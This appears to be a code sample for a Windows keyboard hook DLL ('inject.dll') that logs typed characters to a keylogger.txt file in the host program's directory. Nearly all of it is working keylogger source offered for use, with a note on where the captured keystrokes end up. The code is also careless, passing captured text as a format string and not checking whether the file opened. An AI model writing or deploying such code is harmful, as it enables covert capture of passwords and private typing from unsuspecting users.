Keyboard Hook Example inject.dll

To note that the keyboard logger file can be found in the program .exe directory

////inject.dll
#define _WIN32_WINNT 0x0400 
#include <stdio.h>
#include <Windows.h>

extern "C" __declspec(dllexport) int meconnect(int code, WPARAM wParam, LPARAM lParam) {
FILE *file;
//default keylogger.txt location is current program .exe directory
file=fopen( "keylogger.txt", "a+");
if(code == HC_ACTION)
{
	char str[2]="";
	sprintf(str,"%c",(char)wParam);
if ((DWORD)lParam & 0x40000000)
{
	fprintf(file,str);
}
}
fclose(file);
return (CallNextHookEx(NULL, code, wParam, lParam));
}